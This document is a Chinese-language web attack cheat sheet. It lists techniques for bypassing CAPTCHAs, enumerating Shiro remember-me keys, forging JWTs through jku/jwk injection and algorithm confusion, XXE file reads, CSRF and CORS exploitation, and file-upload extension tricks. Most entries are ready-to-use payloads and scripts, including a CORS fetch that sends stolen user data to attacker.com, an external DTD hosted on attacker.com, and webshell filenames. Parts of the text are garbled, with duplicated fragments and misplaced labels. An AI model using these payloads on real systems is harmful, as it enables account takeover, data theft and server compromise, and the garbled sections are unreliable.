绕过图形验证码
会话复用与参数移除绕过
测试验证码是否在使用后立即失效(可重复使用),删除captcha参数检查后端是否强制校验,或传入空值、数组等异常类型绕过类型检查
# 会话复用(验证码未一次性失效): # 1. 正确输入验证码一次 # 2. 后续请求继续使用相同captcha值 # Burp Repeater重放同一captcha参数 # 删除captcha参数: # 原始: user=admin&pass=123&captcha=ABCD # 修改: user=admin&pass=123 # 后端可能不校验缺失的参数 # 空值绕过: captcha= captcha=null captcha=undefined captcha[]=
# 会话复用(验证码未一次性失效):
OCR识别与音频验证码利用
使用OCR工具(Tesseract)自动识别简单图形验证码,利用音频验证码的语音识别替代方案,或检查响应中是否直接泄露验证码值
# OCR自动识别图形验证码: # Python + Tesseract: import pytesseract from PIL import Image img = Image.open("captcha.png") text = pytesseract.image_to_string(img) print(text) # 音频验证码利用: # 使用Google Speech-to-Text API识别音频验证码 # 或使用Selenium自动获取+语音识别 # 验证码响应泄露: # 检查响应头、Cookie、隐藏字段中是否包含验证码值 curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"
import pytesseract ` — SQL表达式 value
from
curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"` — SQL表达式 value
auth-remember-me
Remember Me功能漏洞
Remember-Me Cookie绕过检测
枚举Shiro密钥和不同加密模式绕过检测
# 1. 修改Cookie名称大小写: curl -b "RememberMe=payload" "http://target.com/" curl -b "rememberme=payload" "http://target.com/" curl -b "REMEMBERME=payload" "http://target.com/" # 2. Shiro密钥枚举(使用不同密钥加密payload): import base64, itertools from Crypto.Cipher import AES import os keys = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "Z3VucwAAAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "fCq+/xW488hMTCD+cmJ3aQ==", ] payload = open("payload.ser", "rb").read() for k in keys: try: key = base64.b64decode(k) iv = os.urandom(16) pad = 16 - len(payload) % 16 padded = payload + bytes([pad]) * pad cipher = AES.new(key, AES.MODE_CBC, iv) enc = base64.b64encode(iv + cipher.encrypt(padded)).decode() print(f"Key: {k} → Cookie length: {len(enc)}") except Exception as e: print(f"Key: {k} → Error: {e}") # 3. GCM模式(Shiro 1.4.2+): # 新版Shiro使用AES-GCM,需要对应的加密方式
import base64, itertools ` — SQL表达式 value
keys = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "Z3VucwAAAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "fCq+/xW488hMTCD+cmJ3aQ==", ]
payload = open("payload.ser", "rb").read() for k in keys: try: key = base64.b64decode(k) iv = os.urandom(16) pad = 16 - len(payload) % 16 padded = payload + bytes([pad]) * pad cipher = AES.new(key, AES.MODE_CBC, iv) enc = base64.b64encode(iv + cipher.encrypt(padded)).decode() print(f"Key: {k} → Cookie length: {len(enc)}") except Exception as e: print(f"Key: {k} → Error: {e}")
auth-jwt
利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌,实现未授权访问或权限提升
JWK/JKU头部密钥注入
通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点,使服务端使用攻击者控制的密钥验证签名
# JWK内嵌密钥注入: # 生成RSA密钥对: openssl genrsa -out attacker.key 2048 openssl rsa -in attacker.key -pubout -out attacker.pub # 构造JWT Header: {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"<attacker_n_base64>","e":"AQAB","use":"sig"}} # 用attacker.key签名,服务端从jwk字段取公钥验证 # JKU远程密钥注入: {"alg":"RS256","jku":"http://attacker.com/jwks.json"} # 在attacker.com上部署包含攻击者公钥的JWKS文件 # 使用jwt_tool: python3 jwt_tool.py <token> -X s -pr attacker.key
# JWK内嵌密钥注入:
算法降级与嵌套令牌利用
利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名),或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞
# 算法降级(RS256→HS256): # 获取服务端公钥后用作HS256密钥: openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem python3 -c " import jwt pub = open('pub.pem').read() token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256') print(token)" # Claim篡改+嵌套JWT: # 在JWT payload中嵌入另一个JWT: {"user":"admin","inner_token":"<另一个伪造的JWT>"} # 某些系统会递归解析inner_token
# 算法降级(RS256→HS256):
xxe-basic
XML外部实体注入基础攻击技术
参数实体
使用参数实体绕过
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <root>test</root>
%
%xxe;
<?xml version="1.0" encoding="UTF-16"?> 使用不同编码绕过WAF
<?xml
xxe-blind
无回显的XXE攻击技术
使用UTF-16编码XML文档 绕过WAF检测
xxe-oob
利用OOB技术外带XXE数据
使用CDATA
CDATA包装
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo><![CDATA[&xxe;]]></foo>
<![CDATA[
&xxe;
]]>
xxe-ssrf
利用XXE实现SSRF攻击
使用不同编码格式绕过IP过滤
IP编码
xxe-rce
利用XXE实现远程代码执行
使用Base64或其他编码绕过命令过滤
xxe-file-read
利用XXE读取服务器文件
使用参数实体
参数实体绕过
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY bar "%xxe;"> ]> <foo>&bar;</foo>
<?xml version="1.0"?>
<!ENTITY bar "%xxe;">
]> <foo>&bar;</foo>
xxe-dtd
利用外部DTD文件进行XXE攻击
使用HTTPS
HTTPS绕过
使用HTTPS托管DTD文件绕过HTTP过滤
xxe-xlsx
利用XLSX文件进行XXE攻击
修改Content_Types
修改[Content_Types].xml注入XXE
[Content_Types].xml
XXE注入
xxe-docx
利用DOCX文件进行XXE攻击
修改关系文件
修改_rels/.rels或document.xml.rels注入XXE
_rels/.rels
document.xml.rels
csrf-basic
跨站请求伪造基础攻击技术
Referer绕过
绕过Referer检查
使用Referrer Policy: <meta name="referrer" content="no-referrer"> 或使用data URL: <data:text/html;base64,CSRF_PAYLOAD> 或使用HTTPS->HTTP降级
no-referrer
Token绕过
绕过Token验证
1. 检查Token是否可预测 2. 检查Token是否绑定会话 3. 检查Token是否在GET参数中泄露 4. 检查是否有Token重放漏洞
1.
csrf-json
针对JSON请求的CSRF攻击技术
修改Content-Type
修改Content-Type绕过
# 尝试不同的Content-Type text/plain application/x-www-form-urlencoded application/x-www-form-urlencoded; charset=UTF-8
尝试不同的Content-Type text/plain application/x-www-form-urlencoded application/x-www-form-urlencoded; charset=UTF-8
使用FormData
使用FormData发送
let formData = new FormData(); formData.append("data", JSON.stringify({email: "attacker@evil.com"})); fetch(url, {method: "POST", body: formData, credentials: "include"});
fetch()
csrf-bypass
绕过CSRF防护的各种技术
CORS配置错误
利用CORS配置错误
# Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true # Access-Control-Allow-Origin: * 允许任意源 # 反射Origin Access-Control-Allow-Origin: [任意Origin]
允许任意源
Access-Control-Allow-Origin: [任意Origin]` — 参数与载荷内容 value
csrf-samesite
绕过SameSite Cookie属性的CSRF攻击
混合内容
利用混合内容
# HTTPS->HTTP降级 从HTTPS站点发起HTTP请求 某些情况下不发送SameSite
HTTPS->HTTP降级 从HTTPS站点发起HTTP请求 某些情况下不发送SameSite
客户端重定向
# JavaScript重定向 location.href = "http://target.com/action" 可能绕过某些SameSite检查
JavaScript重定向 location.href = "http://target.com/action" 可能绕过某些SameSite检查
csrf-token-bypass
绕过CSRF Token验证的技术
方法覆盖
方法覆盖绕过
# 使用_method参数 POST /action?_method=PUT&token=xxx # 使用X-HTTP-Method-Override X-HTTP-Method-Override: PUT
X-HTTP-Method-Override: PUT` — 参数与载荷内容 value
JSON格式
JSON格式绕过
# 使用JSON格式提交 Content-Type: application/json {"token": "xxx", "action": "delete"} # 可能绕过Token验证
# 使用JSON格式提交 Content-Type: application/json {"token": "xxx", "action": "
delete
csrf-referer-bypass
绕过Referer验证的CSRF攻击
iframe嵌入
iframe绕过
# 使用iframe嵌入目标 <iframe src="http://target.com" referrerpolicy="no-referrer"> # sandbox属性 <iframe sandbox="allow-scripts" src="...">
Flash/SWF
Flash控制Referer
# Flash可以控制Referer # 编译SWF发送自定义Referer
csrf-flash
利用Flash进行CSRF攻击
绕过预检请求
绕过CORS预检
# Flash可以绕过CORS预检 # 直接发送POST请求 # 携带Cookie
csrf-cors
利用CORS配置错误进行CSRF攻击
窃取敏感数据
窃取用户数据
# 利用CORS窃取数据 fetch("http://target.com/api/user", { credentials: "include" }) .then(r => r.json()) .then(data => { new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data)); });
# 利用CORS窃取数据 fetch("http://target.com/api/user", { credentials: "include" }
执行敏感操作
# 利用CORS执行操作 fetch("http://target.com/api/delete", { method: "POST", credentials: "include", headers: {"Content-Type": "application/json"}, body: JSON.stringify({id: 123}) });
# 利用CORS执行操作 fetch("http://target.com/api/
", { method: "POST", credentials: "include", headers: {"Content-Type": "application/json"}, body: JSON.stringify({id: 123}) });
file-upload-bypass
文件上传限制绕过技术
双扩展名与NTFS数据流绕过
利用双扩展名欺骗文件类型检测,Windows NTFS备用数据流(::$DATA)绕过扩展名检查,特殊字符(空格、点号、空字节)截断文件名
# 双扩展名: shell.php.jpg shell.jpg.php shell.php.test shell.php%00.jpg # NTFS备用数据流(Windows): shell.php::$DATA shell.php::$DATA.jpg shell.asp;.jpg # 特殊字符: shell.php%20 shell.php. shell.php.... shell.php